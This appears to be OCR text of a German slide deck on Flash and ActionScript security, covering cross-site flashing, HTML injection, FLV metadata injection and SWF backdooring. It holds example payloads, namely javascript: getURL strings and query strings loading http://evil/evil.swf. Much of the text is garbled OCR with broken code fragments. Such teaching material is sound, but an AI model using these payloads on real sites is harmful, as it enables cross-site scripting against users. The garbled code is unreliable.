Flash Security Basics
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Motivation

Flash ist weit verbreitet, Plugin im Browser ist oft aktiv und
somit ein interessanter Angriffsvektor

Relativ wenig Security Research bisher

Einige sehr interessante Parser-Bugs in Player und Media




Begriffsdefinitionen

® SWF: Small Web Format / ShockVVave Flash
® FLA:Flash Quelldateien
® FLV:FlashVideo




Public Research

¢ Eye On Security (Aug 02)
The Flash! Attack
Flash Movie mit ActionScript Funktion:
getURL(‘javascript: evilcode; ')

® Scan Security Wire (Apr 03)
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Public Research

o Stefan Esser (Okt 06) - Poking new holes with
Flash Crossdomain Policy Files

e Martin Johns, Kanatoko Anvil (Jan 07)
Anti-DNS Pinning with AS3
Intranet scannlng mlt Flash and Antl DNS P|nn|ng
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Was ist Flash?

® Proprietare integrierte Entwicklungsumgebung zur
Erstellung multimedialer Inhalte von Adobe (fruher
Macromedia)

® Mixtur aus grafischen Objekten und ActionScript




Was sind Flash Movies?

® Flashfilme sind Timeline-basiert

® Jeder Film wird uber die Level-Nummer referenziert und
kann uber das Objekt _levelN erreicht werden (_levelO ist

immer der erste geladene Film)




Standard Flash Apps

Princeton scientists Hack Diebold
YouTube - Princeton scient

Slgn Up |

Videos Categories Channels Community

What are the most popular videos _ Just follow the
little red dots!
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Apolio (“Offline Flash”)

g

San Dimas
Internal Alpha

IM HAND

Remaimning 17m 275 Shipping: 549.99
$365.00 . . ted Flat

High Bidder: jpbudlong

8.4% Positive
You are bidding on a Brand New Nintendo Wii Sport Bundle
Package.

dy is going ant this for Christmas, but will they find it?




Grundsatzliches zu
Flash Security

® Flash
® kann HTML Code in Textfeldern anzeigen

® kann JavaScript ausfuhren wenn es in HTML embedded
und in der Buntbrause angesehen wird
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SWF Interpreter

Browser

SWF Byte Code Interpreter

SWF Byte Code




ActionScript

Scriptsprache basierend auf ECMA

Wird vor allem fur die Entwicklung von Software fur die
Adobe Flash Player Plattform verwendet (kompiliert in
Form von SWF-Datein)




ActionScript:
Version 2 vs. Version 3

Bisher wenige AS3-Anwendungen

Kein freier und quelloffener Decompiler fur AS3 vorhanden
(ist aber in Arbeit :)

AS2 und AS3 unterscheiden sehr in Sicherheitsfeatures,
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Shared Objects

® |[ocal Data Storage

® Entspricht in etwa Cookies
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Embedding Flash

SWEF Objekte konnen mit OBJECT und EMBED Tags in einer
Seite eingebunden werden:




Embedding Flash

SWEF Objekte konnen auch direkt von der Location Bar oder
innerhalb eine FRAME/IFRAME-Tag geladen werden

/* Firefox auto generated Html page*/




SWF <=> Browser

AllowScriptAccess Attribut (always | never | ssmedomain )
(bei SWF Version >= 8)

- Erlaubt oder verbietet einem Film zu JavaScript verwenden
- Default ist SameDomain

i Beispiel: getURL( ' javascript: alert(123);');
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SWF <=> Browser

SWLlLiveConnect Attribut

If ( SWLiveConnect == True )

{

Ladt eine Java VM wahrend das SWF geladen wird




Variablen Handling

® Typencheck passiert nur wahrend des kompilierens.
Wahrend der Laufzeit passieren Typecasts.

® Private Methoden weden nur wahrend des kompilierens
gecheckt




Umgang mit
Input Parametern

® Es gibt einige Moglichkeiten, Flashfilme mit Parametern zu
versehen:

® URL QueryString:
http://host/Movie.swf!par | =val | &par2=val2
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“Register Globals”
The Flash Way

® Uhninitialisierte Variable
werden ahnlich wie PHP
Register Globals behandelt

® Jede uninitialisierte Variable
mit globalem Scope ist
potenziell gefahrlich:
- _root.*
- _global.*

- _levelQ.*
*

® Es ist trivial, Parameter in
den Request zu injizieren:

movieClip 328 _ Packages.Locale {
#initclip
if (! global.Locale) {
var vl = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.S$trans unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]. resname] = v3
[v2].source. text;
++v2;
}
on load();
} else {}
}i
if (_root.language != undefined) {
Locale.DEFAULT LANG = _root.language;
}
v5.load(Locale.DEFAULT LANG + '/player ' +
Locale.DEFAULT LANG + ".xml');

http://URL?language=http://evil



“Register Globals”
The Flash Way

Annahmen fur _leveln Filme sind falsch, wenn ein Film, der
auf _levell sein soll,als _level0 geladen wird

® level(n-1).*

/* LevelO Movie */
_levelO0.DEMO PATH = getHost(this. url);
loadMovieNum(_level0O.DEMO_PATH +
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“Register Globals”
The Flash Way

® Nun wird der Film upperlevel.swf geladen und der Query String
benutzt, um die Variable DEMO_PATH zu uberschreiben.

http://host/upperievel.swf’DEMO_PATH=http://evil




AS Sicherheitsmodell

® Seit Flash Version >=7 existiert ein Security Model um:

® Kontrolle von Interaktion und Zugriff auf externe Filme




Sandbox Security Model

a.com Sandbox b.com Sandbox

Sandboxes erlauben das

Runtime Environment zu @ (—)@ @ H@

teilen oder separieren.

al.swf a2.swf bl.swf b2.swf

Filme, die dieselbe Sandbox
benutzen, teilen alles:
Variablen, Objekte, Klassen

AllowDomain:
- Statitische AS Funktionen
- Erlaubt Zugr‘iff auf den Datei a3 Datei a4 Datei b3 Datei b4

selben Sandboxfilm

Beispiel:
System.Security.allowDomain(“b.com”)



Sandboxen und
Flash-Versionen




Cross Domain Policies

® Aus Sicherheitsgrunden durfen Flashfilme in einem
Webbrowser keine Daten einer anderen Quelle laden als

der der exakten Domain von dem das SWF stammt:

http://dom.tld/movie.swf ===> Zugriff:
http://dom.tld/dir/movie | .swf v
http://dom.tld/dir2/movie2.swf

http://dom.tld:8 | /movie4.swf
http://www.dom.tld/ movi.gSL.sxyf,ﬁ o
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Client Side Attacks

® C(lient Side Flash Application Testing kann 2 Arten von
Angriffen ermoglichen:

® Klassisches XSS

® Cross Site Flashing

(aka XSF aka “The Dark Side Of Cross
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getURL und XSS

® Die getURL-Funktion sorgt dafur, daf3 ein Film eine URI ins
Browserfenster ladt:

getURL( 'URI',' targetFrame');




XSF

® XSF tritt auf wenn ein Film einen anderen in einer anderen
Domain z.B. uber Funktionen wie loadMovie ladt und
Zugriff auf dieselbe Sandbox oder Teile davon hat

® XSF kann ebenfalls auftreten, wenn eine HTML-Seite
JavaScript (oder eine andere Scriptsprache) zum Scripten

eines Flashfilms einsetzt, z.B. durch Aufruf von:




Flash Testing

® Client Side ActionScript 2-basierte SWF-Dateien lassen sich:
® Downloaden und lokal testen

® Decompilieren




Free/0OS Flash
Test/Devel Tools

Decompiler — Flare
http://www.nowrap.de/flare.html

Compiler - MTASC

http://www.mtasc.org/

Disassembler — Flasm




utzliche Kommandos

® Decompilieren von movie.swf zu movie.flr
flare movie.swf

® Kompilieren eines Actionscripts movie.as zu movie.swf
mtasc -version n -header 10:10:20 -main -swf \

movie.swf movie.as

Disassemble zu SWF Pseudo Code:

flasm -d movie.swf




Attack Flow




asfunction:
Pseudo Protokoll

® asfunction ist ein spezielles Protokoll fur URLs in HTML
Textfeldern, das Links auf eine ActionScript-Funktion
ermoglicht.
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HTML in Flash

® Objekte vom Typ TextField konnen einfaches HTML
rendern:

EfichiEmie = i rhe
tf.htmlText = '<tag>text</tag>'




HTML in Flash

® Beispiel mit fehlerhaftem Code:

p display str = _root.buttonText;

this.showText(this.p display str);
v2.showText = function (text str) {
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HTML in Flash:
Das A-Tag

® Finige Angriffsbeispiele uber das A-Tag:
® Direktes XSS:

<a href='javascript:alert(123)' >




HTML in Flash:
Das IMG-Tag

& test. swi (Oggetto applicationfx-shockwave-flash) - Moz|lla Flrefos

File Modifica Visualizra Crondlogia Segnalibr Strumeéntl  Guida

vitsd="%3CIimgW20src="N0p:ffar.tack. erndmlashevilB. swih%3IEW20Test | =

QRS Lele 1 e O L R i el e s Ui L R o e

i i i
Healg

& ek

sarch Freferences Shell Macro Windows

CE

Sandbox S urity Vialation
Soript URL interrupted (AllowSa:

http://url?’buttonText=<img src="http://evil/evil.swf'>



HTML in Flash:
Das IMG-Tag

® FEye On Security Beispiel XSS.as:

class XSS {
public static function main(){
getURL( ' javascript:evilcode') ;




HTML in Flash:
Das IMG-Tag

= test.swf (Oggetto applicationfx-shockwave-flash) - Mozilla Firefox

File Modifica Yisualizza Cronologla Segnalibrd  Strumentl  Guida
htbpoirl2 £.0.0. L ~stefano/mdflashitest.swi fsd=%3LImgPel0src="hitp:lla | = =

Livrem iEnm e o il e oSy ounchel ines
Tewd [mpe Funciion
Texl
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] domain; 127.0.0.1

http://url?’buttonText=<img src="http://evil/evil.swf'>




HTML in Flash:
Das IMG-Tag

Wenn ein Angreifer versucht direkt ein JavaScript-URL in ein IMG-
Tag zu injizieren, passiert nix. Flash checkt nach den Extensions wie
.jpg’ oder ‘.swf’.

Ein Versuch mit javascript: - allerdings mit “.jpg’-Anhang:
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Potentially Dangerous
Native Functions

® | oad* Funktionen:

® JloadVariables('url', level )
® TLoadMovie ( 'url', target )
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Potentially Dangerous
Native Functions

® |ede PDNF (Potentially Dangerous Native Function) erlaubt das
asfunction:-Pseudo Protokoll. Code wie dieser
loadMovie( root.mURL + '/movie2.swf');
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PDNF - FLV Video Player
Flash Apps

® |n FlashVideo Playern wird oft das NetStream-Objekt zum
Abspielen von FLV-Videodateien benutzt:

NetStream.play( 'http://host/movie.flv"')




PDNF - FLV Metadata

® Das Metadaten Format ist ein AMF (ActionScript Message
Format) Binary Format, das Adobe in einem PDF
beschreibt.

® FLV Metadaten sind ein Set von Daten, die verschiedene
Videoproperties beschreiben:
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PDNF - FLV Metadata
Editors

® flvtool2: Ruby FLV Editor
http://rubyforge.org/projects/flvtool2/

° Perl Paket FLVInfo Perl Package FLV Edltor
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PDNF - FLV Metadata
Injection

® Beim Laden einer FLV-Datei wird ein Event Handler aufgerufen, der
‘onMetadata’ heisst. Dieser parst die Daten und ermoglicht Zugriff
auf die Daten zu Objekten, die sie reprasentieren.

T PR A RS e g o RO e T ary __ 3 [ b G e e e - P




PDNF - FLV Metadata
Injection

=

File Tree

Add | Delete

N‘ lastlkeyframetimestamp
N‘ height Type NUMEER

i\:}‘ etz Mame [pdideodatarate
hasMetaclata
’j' 208.28385D-32OG2?24|

{_ . } lkeyframes Value
.. | times

.. Hfilepositions

{. } audiocodecic
N‘*ﬂ'dendatarate
j\[‘ curation

i\[‘ hasCueFoints

N wicth

( . ) onLastiecond Cancel




PDNF - FLV Metadata
Injection

File Tree

Add | Delete

‘N‘ lastlkeyframetimestamp -
N e me s - «— Jype Change
‘N‘filegize Mame [videodatarate

N‘ hasMetadata

{—' }li" frames value <ima src="http: /fevilhost fewvil 7. swl' =

.. |Times
.. | Tilepositions

Value Change

Cancel




PDNF - FLV Metadata
Injection

test.swf (Oggetto application/x-shockwave-flash) - Mozilla Firefox

3
E

ile  Modifica WVisualizza Cronologia Segnalibri Strumenti  Guida

|_n_\. || http:/127.0.0.1/~stefano/hd/flash/test.swf?sd=%3Cimg%20src="http://a | v | [# |G|v

Lorem ipsum debor sit ameLobjundelined
Test [ty pe Function]
Test

= T pagiarsul S Erv e L SO PO R POTLE

domain: 127.0.0.1

Trasferimento dati da at.tack.er...




PDNF - Music Player

Es gibt eine ganze Reihe von Flashbasierten Music Playern im
VWVeb.

ID Tags werden normalerweise benutzt, um diverse
Informationen zu setzen: Genre, Interpret, Titel, ...




Advanced Hacks

® Dom Injection in Firefox #:

® Das Flash Firefox-Plugin parsed immer den kompletten

Strlng, sogar nach dem Raute Zelchen




Advanced Hacks

® Beim Laden eines SWF uber die Address Bar oder uber einen
IFrame wird das HTML automatiwch generiert.

® Wenn das SWF ein XSS ermoglicht kann der Angreifer
verschiedene Dinge ausfuhren:

Movie =getElementById( 'plugin');




Advanced Hacks

® SharedObijects Funktionen und Variable:

® Wenn Funktionenn und Variable genutzt werden um Daten
aus einem SharedObiject in ein Attribut zu speichern, ist es
moglich, die Daten uber die JavaScript Funktion GetVariable
oder eine andere spezifische Funktion aus den erwahnten

Beispielen zu stehlen.




Backdooring von
Flashfilmen

Man nehme ein ActionScript und baut damit einen Payload

class Backdoor {
function Backdoor () {

}

statlc functlon maln(mc) {

b M s get .-.'.'.-: Aax - ~ ,9 ealert('Sa:
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Backdooring von
Flashfilmen

P JavaScript

Say hello to the backdoor

ir sha reuwatch again

Quick and Dirty Example (mit gebrochener Player Funktionalitat)



Sockets in Flash

® Zitat aus der ActionScript 3 Dokumentation:

“The Socket class enables ActionScript code to make
socket connections and to read and write raw binary data.

The Socket class is useful for working with servers that



http://www.jumperz.net/index.php?i=2&a=1&b=8
http://www.jumperz.net/index.php?i=2&a=1&b=8

Things to look for

® RTMP: Buffer Overflows

® Breaking the Sandbox

L]
dla Iridrdil !
Trw = H o 5
e T Vo ] i
X i b e o Ty

T

L]
U . 2§ q (@ I e e b 3 X n .l A r| Pl ML,
i e\ A 1 LA FLR i i \ [ ANl e e i LA B
— - o e L 1 ., Bl ot s e e e e S T e e o e B o]
Dﬂi_:‘rg', L 4._.-:._'_..,_ e ::_:'!-:_ k 2 '._:__-__ T __E._.-‘,_.. i et o e ..‘-;..n.'.: Tk SR Gy A e TAEL E

il
e
s




Links und Ressourcen

Eye On Security: Bypassing JavaScript Filters — the Flash! Attack
http://eyeonsecurity.org/papers/flash-xss-description.htm

Scan Security Wire: Misuse of Macromedia Flash Ads click TAG
http://marc.info/?I=bugtraqg&m=1050337126 1501 3&w=2

Stefan Esser: Poking new holes with Flash Crossdomain Policy Files
http://www.hardened-php.net/library/
poking_new_holes_with_flash_crossdomain_policy_files.html

S S
flach-ahiecte/

 PDP Architect: Backdooring Flash Objects




Links und Ressourcen

ActionScript Language Reference

http://livedocs.adobe.com/flash/mx2004/main_7_2/wwhelp/wwhimpl/js/html/
wwhelp.htm?href=Part_ASLR.html

Flash Remoting MX







